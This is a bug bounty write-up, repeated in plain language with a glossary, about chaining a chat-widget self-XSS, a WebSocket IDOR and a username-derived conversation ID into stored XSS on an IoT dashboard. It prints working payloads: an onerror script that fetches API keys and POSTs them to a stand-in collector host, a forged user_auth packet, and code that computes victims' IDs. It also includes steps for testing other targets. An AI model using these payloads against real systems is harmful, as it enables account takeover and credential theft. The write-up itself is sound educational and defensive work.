The Art of Escalating Vulnerabilities
A chat widget rendered messages without sanitisation, allowing self-XSS, and the WebSocket endpoint lacked ownership checks and Origin validation, enabling read and write access to other users' conversations. Because conversation IDs were derived deterministically from usernames, an attacker could compute a victim's ID and inject a stored XSS payload that executed in the victim's session, exfiltrating API keys.
Infosec
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a private bug bounty program run by a very well known company with a massive scope. The specific subdomain discussed here belonged to their IoT solution, and the feature in question was an AI assistant shipped on the product's dashboard. The assistant has a chat widget: the user types a message, the widget renders it, and the conversation history is loaded back when the widget is opened. The chat runs over a single WebSocket endpoint that carries messages in both directions and returns the conversation history on connect.
The write-up describes three issues that are Low to Medium severity on their own and become High to Critical when chained: a self-XSS in the chat rendering, an IDOR on the WebSocket that allows both reading and writing another user's conversation, and a conversation identifier that is derived deterministically from the username.
Setup
The researcher was invited to the private program and worked with several of their own accounts. Three accounts were used to compare conversation IDs, and testing was done by connecting to the WebSocket with one account's session while supplying another account's conversationId. No specific tooling, versions or browser details are given in the report.
The chain needs a way to confirm that a target username exists, which the signup availability check provides.
Finding it
The starting point was a habit: whenever the researcher finds an AI chat, or any chat feature, the first thing they try is HTML injection and XSS. It is quick to check and gives you something to look into.
So they typed the following into their own chat:
<img src=x onerror=alert(document.domain)>
It fired. The message was rendered unsanitised, both when sent and every time the history reloaded. On its own this is a self-XSS: the researcher could only inject into their own conversation, so the only person they could pop was themselves. Nobody pays for that, and most people would note it and move on. The researcher did too, but remembered it.
Exploitation
Step 1: the chat WebSocket
The chat runs over a single WebSocket endpoint:
wss://example.com/api/v1/chatbot?conversationId=chat-app-3f2a9c17d&portal=app
That one endpoint does everything. It carries new messages both ways, and when you connect, it returns the conversation's history in the response.
Step 2: IDOR on read and write
Testing against their own accounts established two things. First, the endpoint had no ownership check: connecting with account B's conversationId from account A's session returned account B's full history and allowed sending messages on behalf of account B. Second, it did not validate Origin, so any page on any domain could open a live connection. The user_auth packet sent after connecting was trusted verbatim, with no server-side session binding:
{ "type": "user_auth", "user": { "uid": "TARGET_USERNAME" }, "conversationId": "chat-app-3f2a9c17d", "portal": "app", "timestamp": 1744300000000}
This left one problem. In a real attack the researcher does not know the victim's conversationId. They could read their own history forever and prove nothing. A broken access control with no way to address a target is a finding that gets triaged as a medium.
Step 3: the ID was not random
Three IDs across three of the researcher's accounts looked random enough: nine characters, stable across sessions, no visible pattern. They went hunting for a JSON response that leaked one and found nothing. The value only appeared in a cookie and in requests that already required it.
So they stopped looking for a leak and asked where the browser gets the ID in the first place. The answer was sitting in the chat widget's JavaScript bundle:
generateDeterministicId(userId, portal) { let input = `${userId.toLowerCase()}-${portal.toLowerCase()}`; let hash = await crypto.subtle.digest("SHA-256", new TextEncoder().encode(input)); return `chat-${portal}-${Array.from(new Uint8Array(hash)) .map(b => b.toString(16).padStart(2, "0")) .join("").substring(0, 9)}`;}
The researcher reproduced it:
import hashlibdef conversation_id(username, portal="app"): data = f"{username.lower()}-{portal.lower()}" return f"chat-{portal}-{hashlib.sha256(data.encode()).hexdigest()[:9]}"
Feeding their own test account's username into that returned a byte-for-byte match with the server-issued ID. The "fingerprint" they had been hunting was a username run through a hash function, computable offline by anyone.
The ID is deterministic, does not change across sessions, and its input is the username, not the email. The platform also tells you which usernames are real, because signup checks availability:
POST /api/user/checkUsername{"username": "testuser1"}
That is not a bug, it is an ordinary registration feature. But paired with a deterministic ID it becomes a targeting oracle.
Step 4: turning self-XSS into stored XSS
This is where the self-XSS comes back in. The only thing that made it "self" was that the researcher could only write to their own conversation. The write IDOR removed that constraint:
ws.send(JSON.stringify({ type: "chat_message", body: "<img src=x onerror=\"fetch('/api/v1/account/api-keys').then(r=>r.text()).then(d=>fetch('https://collector.example/',{method:'POST',mode:'no-cors',body:d}))\">"}));
Logged into the second account, the researcher opened the chat widget and the payload fired on load, exfiltrating API keys to the collector.
This is the hinge of the whole chain. A self-XSS nobody would pay for, combined with a deterministic ID and a write IDOR, became stored XSS in any user's session.
The payload runs as the user, in their origin, with their session attached to every request it makes. It reads whatever the account can read and exfiltrates it to a collector, and it issues whatever state-changing requests the account can issue. All of it completes in the time it takes the widget to render, with nothing on screen to notice.
On the platform's management portal, used by enterprise customers to administer their own infrastructure, the researcher confirmed the payload could:
- Read and exfiltrate the account's API keys
- Create new API keys on the account
- Delete existing API keys
- Modify account profile data
Stolen keys and attacker-created keys both outlive the browser window entirely. The victim closes the tab and the attacker still holds valid credentials to their production environment, which grants access to IoT infrastructure.
The full chain
The researcher summarised the chain as follows:
Pick a target usernamecheckUsername confirms it exists | vconversationId = "chat-{portal}-" + SHA256(username + "-" + portal)[:9](computed offline, zero requests to the target) | vOpen WebSocket from any origin (no Origin validation, no auth)send user_auth claiming the victim's uid (trusted blindly) | +---> READ: full chat history returned | | +---> WRITE: drop the self-XSS payload into the victim's conversation | v Victim opens the chat widget | v Payload executes in the application's origin, acting with the victim's session | + + + +
Root cause
The root cause is one line: an important ID was derived from a public, user-controlled value. Everything else is downstream of that. The conversationId is chat-{portal}- followed by the first nine hex characters of SHA-256 over username-portal, so anyone who knows a username can compute the conversation ID offline without touching the target.
On top of that, the WebSocket endpoint performed no ownership check on the conversation, so a session belonging to one account could read and write another account's conversation. It also did not validate Origin, so any page on any domain could open a live connection, and the user_auth packet was trusted verbatim with no server-side session binding. The chat rendering itself did not sanitise or encode stored content before putting it into the DOM, which is what allowed the payload to fire in the first place.
Impact
An attacker who can guess or confirm a username can compute that user's conversation ID offline, open a WebSocket from any origin, claim the victim's uid in user_auth, read the victim's full chat history, and write a stored XSS payload into the victim's conversation. When the victim opens the chat widget, the payload executes in the application's origin with the victim's session attached.
On the management portal used by enterprise customers, the researcher confirmed that this allowed reading and exfiltrating the account's API keys, creating new API keys, deleting existing API keys, and modifying account profile data. Stolen and attacker-created keys outlive the browser window, so the attacker retains valid credentials to the victim's production environment, which grants access to IoT infrastructure. The report frames the combined chain as High to Critical, while each individual issue is Low to Medium at most.
Fix
The researcher's recommendations, addressed to developers:
- Generate
conversationIdserver-side from a CSPRNG (e.g. UUIDv4). - Enforce ownership server-side on every conversation read and write.
- Sanitise or encode stored chat content before rendering it into the DOM.
- Bind
user_authidentity to the authenticated server-side session rather than trusting the client packet. - Validate
Originon the WebSocket handshake.
Fixing 1 and 2 kills the chain even if the rest linger. Fixing 3 degrades the worst outcome from acting as the user to reading their history. The report does not say which of these were actually implemented.
Variants to test
- Chat and AI assistant widgets for HTML injection and XSS. Send a payload such as
<img src=x onerror=alert(document.domain)>into your own conversation and check whether it fires both on send and when history reloads. A positive result is a self-XSS, which is the raw material for this chain. - WebSocket endpoints that take an object ID as a query parameter. Connect with your own session but another account's ID and see whether the history comes back. Then try sending a message and check whether it lands in the other account. A positive result is a read and write IDOR.
Originvalidation on WebSocket handshakes. Open a connection from a page on a different domain. If the handshake succeeds, the endpoint is reachable cross-origin.- Client-supplied identity packets after connect. Look for a packet like
user_auththat carries a uid, and try changing it to another account's uid. If the server accepts it without binding it to the session, identity is client-controlled. - Deterministic identifiers in client-side JavaScript. Search bundles for hashing or ID generation functions, reproduce them offline, and compare the output with server-issued IDs. A byte-for-byte match means the ID is predictable.
- Username enumeration through registration checks. Try
POST /api/user/checkUsernamewith a candidate username. A response that distinguishes existing from non-existing usernames is a targeting oracle when combined with a predictable ID. - Escalation mindset. Do not stop at a Medium. Check IDORs for both read and write, check whether IDs are predictable, and treat a self-XSS as a building block rather than a dead end. The lower the severity, the higher the chance the issue is invalidated.
What happened, in plain words
A security researcher was invited to a private bug bounty program. A bug bounty program is a scheme where a company pays people to look for security weaknesses in its systems and report them privately, instead of the company finding out the hard way. This company was very well known and the program had a massive scope, meaning a very large number of its websites and services were fair game to test.
The researcher found three weaknesses. Each one, on its own, was Low to Medium severity at most. Severity is a rough measure of how much damage a weakness could cause. But when the three were joined together, like links in a chain, they became a High to Critical issue. This article walks through each link, in the order the researcher found them, and explains what each one is for someone who has never done security work before.
The three links were:
- A self-XSS: a way to run code in a chat window, but only in your own chat.
- An IDOR: a way to read and write other people's chats by using their conversation ID.
- A predictable ID: the conversation ID turned out to be a username run through a maths function, so anyone could work out anyone else's ID without asking the server.
Put together, these let an attacker run code inside any user's session, and on the management portal that included stealing the account's API keys. An API key is a long secret string that a program uses to prove who it is, a bit like a password for software rather than for a person.
The setup
The researcher was invited to the private program and worked with several of their own accounts. Three accounts were used to compare conversation IDs. Testing was done by connecting to the chat with one account's session while supplying another account's conversationId. The report does not give tooling, versions or browser details.
The chain needs a way to confirm that a target username exists, which the signup availability check provides.
Finding it
The starting point was a habit. Whenever the researcher finds an AI chat, or any chat feature, the first thing they try is HTML injection and XSS. HTML injection means putting HTML tags into a place that expects plain text, and seeing whether the page treats them as tags or as text. XSS, short for cross-site scripting, is when those tags include a script that the browser then runs. Sanitisation means cleaning input so that dangerous parts are removed or neutralised before they reach the page. It is quick to check and gives you something to look into.
So they typed the following into their own chat:
<img src=x onerror=alert(document.domain)>
Line by line, in plain words:
<img ...>is the HTML tag for an image. A browser that sees it will try to load a picture.src=xsays the picture lives at the addressx. There is no such address, so the load will fail.onerror=...is an attribute that tells the browser what to do when the image fails to load. Here it says: run the JavaScriptalert(document.domain).alert(document.domain)pops up a small dialog box showing the domain of the page.document.domainis the site's own name, for exampleexample.com. Seeing that box appear proves the browser ran our code on that site.
It fired. The message was rendered unsanitised, both when sent and every time the history reloaded. On its own this is a self-XSS: the researcher could only inject into their own conversation, so the only person they could pop was themselves. Nobody pays for that, and most people would note it and move on. The researcher did too, but remembered it.
Exploitation
Step 1: the chat WebSocket
The chat runs over a single WebSocket endpoint:
wss://example.com/api/v1/chatbot?conversationId=chat-app-3f2a9c17d&portal=app
A WebSocket is a connection between a browser and a server that stays open, so both sides can send messages at any time. Ordinary web requests are one-shot: the browser asks, the server answers, the connection closes. A chat needs the open kind, because new messages can arrive at any moment. The wss:// prefix is the secure version of ws://, the same way https:// is the secure version of http://.
An endpoint is simply a specific address on a server that does a specific job. An API is the general name for the set of endpoints a program offers so other programs can talk to it. Think of a restaurant: the menu is the API, each dish is an endpoint, and you order by name.
Reading the URL piece by piece:
example.comis the site./api/v1/chatbotis the path, the endpoint's name on the server.?conversationId=chat-app-3f2a9c17dis a query parameter. Everything after the?is extra information sent along with the request. Here it says which conversation we want.&portal=appis a second query parameter, saying which part of the product we are in.
That one endpoint does everything. It carries new messages both ways, and when you connect, it returns the conversation's history in the response.
Step 2: IDOR on read and write
IDOR stands for Insecure Direct Object Reference. It means the server hands out an object, such as a chat history, based only on an ID the client supplies, without checking whether the client is allowed to have it. A simple comparison: a hotel clerk who gives out any room key to anyone who reads the room number off the door. The number is not secret, but the clerk should still check that you are the guest.
Testing against their own accounts established two things. First, the endpoint had no ownership check: connecting with account B's conversationId from account A's session returned account B's full history and allowed sending messages on behalf of account B. Second, it did not validate Origin, so any page on any domain could open a live connection. The Origin header is a note the browser attaches to a request saying which site the request came from. Servers can use it to refuse connections from sites they do not trust. The user_auth packet sent after connecting was trusted verbatim, with no server-side session binding:
{ "type": "user_auth", "user": { "uid": "TARGET_USERNAME" }, "conversationId": "chat-app-3f2a9c17d", "portal": "app", "timestamp": 1744300000000}
Line by line:
"type": "user_auth"labels the packet. It tells the server: this is my login message."user": { "uid": "TARGET_USERNAME" }claims an identity.uidis the user ID, here a placeholder for the victim's username. The client is simply asserting who it is."conversationId": "chat-app-3f2a9c17d"says which conversation this identity applies to."portal": "app"says which part of the product."timestamp": 1744300000000is a number representing a moment in time, in milliseconds since 1 January 1970. It is a common way for programs to record when something happened.
A session is the server's memory of who you are after you log in. Normally the server keeps that memory itself and ties it to a cookie, which is a small piece of data the browser stores and sends back with every request. Here, the server instead believed whatever identity the client put in the packet. That is what "trusted verbatim, with no server-side session binding" means: the server took the client's word for it.
This left one problem. In a real attack the researcher does not know the victim's conversationId. They could read their own history forever and prove nothing. A broken access control with no way to address a target is a finding that gets triaged as a medium. Triaged means sorted and rated by the program's staff.
Step 3: the ID was not random
Three IDs across three of the researcher's accounts looked random enough: nine characters, stable across sessions, no visible pattern. They went hunting for a JSON response that leaked one and found nothing. JSON is a common text format for data, made of names and values in curly braces. The value only appeared in a cookie and in requests that already required it.
So they stopped looking for a leak and asked where the browser gets the ID in the first place. The answer was sitting in the chat widget's JavaScript bundle. A JavaScript bundle is the file of code the browser downloads to make a feature work. A widget is a small embedded piece of interface, here the chat box.
generateDeterministicId(userId, portal) { let input = `${userId.toLowerCase()}-${portal.toLowerCase()}`; let hash = await crypto.subtle.digest("SHA-256", new TextEncoder().encode(input)); return `chat-${portal}-${Array.from(new Uint8Array(hash)) .map(b => b.toString(16).padStart(2, "0")) .join("").substring(0, 9)}`;}
Line by line:
generateDeterministicId(userId, portal) {starts a function, a named block of code that takes inputs and returns a result. It takes a user ID and a portal name. "Deterministic" means the same inputs always give the same output.let input = ...builds a text string by gluing the lowercased user ID, a hyphen, and the lowercased portal name.toLowerCase()makes letters lowercase so capitalisation does not matter.let hash = await crypto.subtle.digest("SHA-256", ...)runs SHA-256 over that text. A hash function is a maths recipe that turns any text into a fixed-length fingerprint. The same text always gives the same fingerprint, but you cannot work backwards from the fingerprint to the text.crypto.subtleis the browser's built-in cryptography toolbox.awaitmeans wait for the result before continuing.return \chat-${portal}-${...}`builds the final ID: the wordchat`, the portal, and then the fingerprint.Array.from(new Uint8Array(hash))turns the fingerprint into a list of numbers, one per byte..map(b => b.toString(16).padStart(2, "0"))turns each number into hexadecimal, base 16, and pads it to two characters. Hexadecimal is just a way of writing numbers using 0 to 9 and a to f..join("")glues all those pieces into one long string..substring(0, 9)keeps only the first nine characters.
The researcher reproduced it:
import hashlibdef conversation_id(username, portal="app"): data = f"{username.lower()}-{portal.lower()}" return f"chat-{portal}-{hashlib.sha256(data.encode()).hexdigest()[:9]}"
Line by line:
import hashlibloads Python's built-in hashing library. Python is a programming language, and this snippet is a small program.def conversation_id(username, portal="app"):defines a function that takes a username and a portal, defaulting the portal toapp.data = f"{username.lower()}-{portal.lower()}"builds the same text as the browser code: lowercased username, hyphen, lowercased portal.return f"chat-{portal}-{hashlib.sha256(data.encode()).hexdigest()[:9]}"hashes that text with SHA-256, writes the result in hexadecimal, keeps the first nine characters, and glues it afterchat-and the portal.encode()turns the text into bytes, which is what the hash function expects.
Feeding their own test account's username into that returned a byte-for-byte match with the server-issued ID. The "fingerprint" they had been hunting was a username run through a hash function, computable offline by anyone. Offline here means without sending a single request to the target.
The ID is deterministic, does not change across sessions, and its input is the username, not the email. The platform also tells you which usernames are real, because signup checks availability:
POST /api/user/checkUsername{"username": "testuser1"}
Line by line:
POST /api/user/checkUsernameis an HTTP request. HTTP is the language browsers and servers use to talk.POSTis the method used when you are sending data to the server, as opposed toGET, which is used when you are just asking for a page. The path says: check this username.{"username": "testuser1"}is the body of the request, in JSON, carrying the candidate username.
That is not a bug, it is an ordinary registration feature. Every signup form has to tell you whether a name is taken. But paired with a deterministic ID it becomes a targeting oracle. An oracle, in security, is anything that answers a question you are not supposed to be able to ask. Here the question is: does this person have an account?
Step 4: turning self-XSS into stored XSS
This is where the self-XSS comes back in. The only thing that made it "self" was that the researcher could only write to their own conversation. The write IDOR removed that constraint:
ws.send(JSON.stringify({ type: "chat_message", body: "<img src=x onerror=\"fetch('/api/v1/account/api-keys').then(r=>r.text()).then(d=>fetch('https://collector.example/',{method:'POST',mode:'no-cors',body:d}))\">"}));
Line by line:
ws.send(...)sends a message over the open WebSocket.wsis the connection object.JSON.stringify({...})turns a JavaScript object into a JSON text string, because the server expects text.type: "chat_message"labels the packet as a chat message.body: "..."is the message content. It is the same image tag as before, but theonerrornow runs a longer script.fetch('/api/v1/account/api-keys')asks the site's own API for the account's API keys. Because it is a relative path starting with/, it goes to the same site, and the browser attaches the user's session automatically..then(r=>r.text())takes the server's answer and reads it as text..then(d=>fetch('https://collector.example/',{method:'POST',mode:'no-cors',body:d}))sends that text to a server the attacker controls,collector.example.method:'POST'sends data.mode:'no-cors'means the browser will not block the request for cross-origin reasons, though it also will not let the attacker read the reply. The attacker does not need the reply; they just need the data to arrive.
Logged into the second account, the researcher opened the chat widget and the payload fired on load, exfiltrating API keys to the collector. Exfiltrating means secretly sending data out.
This is the hinge of the whole chain. A self-XSS nobody would pay for, combined with a deterministic ID and a write IDOR, became stored XSS in any user's session. Stored XSS means the malicious content is saved on the server and runs for whoever views it later, rather than only for the person who typed it.
The payload runs as the user, in their origin, with their session attached to every request it makes. Origin here means the site's identity: scheme, host and port together. Code running in a site's origin is treated by the browser as that site, so it can do what the site can do. It reads whatever the account can read and exfiltrates it to a collector, and it issues whatever state-changing requests the account can issue. All of it completes in the time it takes the widget to render, with nothing on screen to notice.
On the platform's management portal, used by enterprise customers to administer their own infrastructure, the researcher confirmed the payload could:
- Read and exfiltrate the account's API keys
- Create new API keys on the account
- Delete existing API keys
- Modify account profile data
Stolen keys and attacker-created keys both outlive the browser window entirely. The victim closes the tab and the attacker still holds valid credentials to their production environment, which grants access to IoT infrastructure. IoT stands for Internet of Things: everyday devices such as sensors and controllers that are connected to the internet and managed through a service like this one.
The full chain
The researcher summarised the chain as follows:
Pick a target usernamecheckUsername confirms it exists | vconversationId = "chat-{portal}-" + SHA256(username + "-" + portal)[:9](computed offline, zero requests to the target) | vOpen WebSocket from any origin (no Origin validation, no auth)send user_auth claiming the victim's uid (trusted blindly) | +---> READ: full chat history returned | | +---> WRITE: drop the self-XSS payload into the victim's conversation | v Victim opens the chat widget | v Payload executes in the application's origin, acting with the victim's session | + + + +
Read top to bottom, it says: choose a username, confirm it exists with the signup check, compute the conversation ID offline, open a WebSocket from anywhere, claim the victim's identity, then either read their history or write the payload into their conversation. When the victim opens the widget, the payload runs as them.
Root cause
The root cause is one line: an important ID was derived from a public, user-controlled value. Everything else is downstream of that. The conversationId is chat-{portal}- followed by the first nine hex characters of SHA-256 over username-portal, so anyone who knows a username can compute the conversation ID offline without touching the target.
On top of that, the WebSocket endpoint performed no ownership check on the conversation, so a session belonging to one account could read and write another account's conversation. It also did not validate Origin, so any page on any domain could open a live connection, and the user_auth packet was trusted verbatim with no server-side session binding. The chat rendering itself did not sanitise or encode stored content before putting it into the DOM, which is what allowed the payload to fire in the first place. The DOM is the browser's live model of the page, the tree of elements the browser actually displays; putting text into it without cleaning it is how injected tags become real tags.
Impact
An attacker who can guess or confirm a username can compute that user's conversation ID offline, open a WebSocket from any origin, claim the victim's uid in user_auth, read the victim's full chat history, and write a stored XSS payload into the victim's conversation. When the victim opens the chat widget, the payload executes in the application's origin with the victim's session attached.
On the management portal used by enterprise customers, the researcher confirmed that this allowed reading and exfiltrating the account's API keys, creating new API keys, deleting existing API keys, and modifying account profile data. Stolen and attacker-created keys outlive the browser window, so the attacker retains valid credentials to the victim's production environment, which grants access to IoT infrastructure. The report frames the combined chain as High to Critical, while each individual issue is Low to Medium at most.
Fix
The researcher's recommendations, addressed to developers:
- Generate
conversationIdserver-side from a CSPRNG (e.g. UUIDv4). A CSPRNG is a random number generator built for security, so its output cannot be predicted. UUIDv4 is a standard format for a random identifier. - Enforce ownership server-side on every conversation read and write. In other words, the server itself checks that the logged-in user owns the conversation, instead of trusting the ID alone.
- Sanitise or encode stored chat content before rendering it into the DOM. Encoding means turning characters like
<into harmless text so the browser shows them rather than acting on them. - Bind
user_authidentity to the authenticated server-side session rather than trusting the client packet. The server should look up who you are from its own records, not from what your browser claims. - Validate
Originon the WebSocket handshake. The handshake is the opening exchange that sets up a WebSocket; checkingOriginthere lets the server refuse connections from sites it does not trust.
Fixing 1 and 2 kills the chain even if the rest linger. Fixing 3 degrades the worst outcome from acting as the user to reading their history. The report does not say which of these were actually implemented.
Variants to test
- Chat and AI assistant widgets for HTML injection and XSS. Send a payload such as
<img src=x onerror=alert(document.domain)>into your own conversation and check whether it fires both on send and when history reloads. A positive result is a self-XSS, which is the raw material for this chain. - WebSocket endpoints that take an object ID as a query parameter. Connect with your own session but another account's ID and see whether the history comes back. Then try sending a message and check whether it lands in the other account. A positive result is a read and write IDOR.
Originvalidation on WebSocket handshakes. Open a connection from a page on a different domain. If the handshake succeeds, the endpoint is reachable cross-origin.- Client-supplied identity packets after connect. Look for a packet like
user_auththat carries a uid, and try changing it to another account's uid. If the server accepts it without binding it to the session, identity is client-controlled. - Deterministic identifiers in client-side JavaScript. Search bundles for hashing or ID generation functions, reproduce them offline, and compare the output with server-issued IDs. A byte-for-byte match means the ID is predictable.
- Username enumeration through registration checks. Try
POST /api/user/checkUsernamewith a candidate username. A response that distinguishes existing from non-existing usernames is a targeting oracle when combined with a predictable ID. Enumeration means listing things one by one, here checking which usernames exist. - Escalation mindset. Do not stop at a Medium. Check IDORs for both read and write, check whether IDs are predictable, and treat a self-XSS as a building block rather than a dead end. The lower the severity, the higher the chance the issue is invalidated.
Glossary
- API: the set of addresses and rules a program offers so other programs can talk to it.
- API key: a long secret string a program uses to prove its identity, like a password for software.
- Bug bounty program: a scheme where a company pays people to find and privately report security weaknesses.
- Bundle: the file of JavaScript code a browser downloads to make a feature work.
- Cookie: a small piece of data a browser stores for a site and sends back with each request.
- CSPRNG: a random number generator built for security, whose output cannot be predicted.
- Deterministic: always producing the same output for the same input.
- DOM: the browser's live model of the page, the tree of elements it actually displays.
- Endpoint: a specific address on a server that performs a specific job.
- Enumeration: listing things one by one, for example checking which usernames exist.
- Exfiltration: secretly sending data out to somewhere the owner did not intend.
- Hash function: a maths recipe that turns text into a fixed-length fingerprint that cannot be reversed.
- Hexadecimal: a way of writing numbers using 0 to 9 and a to f.
- HTML injection: putting HTML tags into a place that expects plain text and seeing whether they are treated as tags.
- HTTP: the language browsers and servers use to talk.
- IDOR: Insecure Direct Object Reference, where a server hands out an object based only on an ID the client supplies, without checking permission.
- IoT: Internet of Things, everyday devices connected to the internet and managed through a service.
- JavaScript: the programming language browsers run to make pages interactive.
- JSON: a common text format for data, made of names and values in curly braces.
- Origin: a site's identity, made of scheme, host and port together.
- Oracle: anything that answers a question you are not supposed to be able to ask.
- Query parameter: extra information attached to a URL after a
?. - Sanitisation: cleaning input so dangerous parts are removed or neutralised before reaching the page.
- Self-XSS: XSS that only affects the person who typed the payload, because they can only write to their own data.
- Severity: a rough measure of how much damage a weakness could cause.
- Session: the server's memory of who you are after you log in.
- SHA-256: a widely used hash function.
- Stored XSS: XSS where the malicious content is saved on the server and runs for whoever views it later.
- Triaged: sorted and rated by the program's staff.
- UUIDv4: a standard format for a random identifier.
- WebSocket: a connection between browser and server that stays open so both sides can send messages at any time.
- Widget: a small embedded piece of interface, such as a chat box.
- XSS: cross-site scripting, when injected tags include a script the browser then runs.